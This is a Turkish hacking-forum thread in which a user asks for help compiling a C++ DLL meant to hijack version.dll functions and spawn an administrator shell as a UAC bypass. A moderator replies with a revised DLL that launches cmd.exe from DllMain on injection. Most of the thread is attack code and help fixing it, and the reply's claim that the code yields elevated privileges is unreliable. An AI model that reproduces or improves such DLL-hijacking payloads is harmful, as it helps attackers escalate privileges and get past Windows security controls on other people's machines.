c ++ code compile problem

1337day

Yeni üye
19 May 2016
4
0
Hello trying to compile that code in c++ dev


#include <windows.h>
#include <Winuser.h>

int VerQueryValueW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}
int GetFileVersionInfoSizeW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}
int GetFileVersionInfoW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
VerQueryValueW();
GetFileVersionInfoSizeW();
GetFileVersionInfoW();
}

return TRUE;
}

Everytime after that dll is compiled, either it doesnt work or i get this error, any ideas? Trying to run .exe via that dll for uac bypass

ebd56594739de2519766e40bf277bce0.png
 

Gauloran

Kıdemli Moderatör
7 Tem 2013
8,116
598
local
maybe you can use

C++:
#include <windows.h>

// Function to spawn a shell with elevated privileges
void SpawnElevatedShell()
{
    STARTUPINFO startupInfo = { sizeof(startupInfo) };
    PROCESS_INFORMATION processInfo;
    
    // Create a new command prompt process with administrator privileges
    if (CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &startupInfo, &processInfo))
    {
        // Close handles to the newly created process (not necessary for demonstration purposes)
        CloseHandle(processInfo.hProcess);
        CloseHandle(processInfo.hThread);
    }
    else
    {
        MessageBox(0, L"Failed to spawn shell.", L"Error", MB_OK | MB_ICONERROR);
    }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        SpawnElevatedShell();
    }
    
    return TRUE;
}

This should allow you to spawn a shell with elevated privileges when the DLL is injected into a process.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.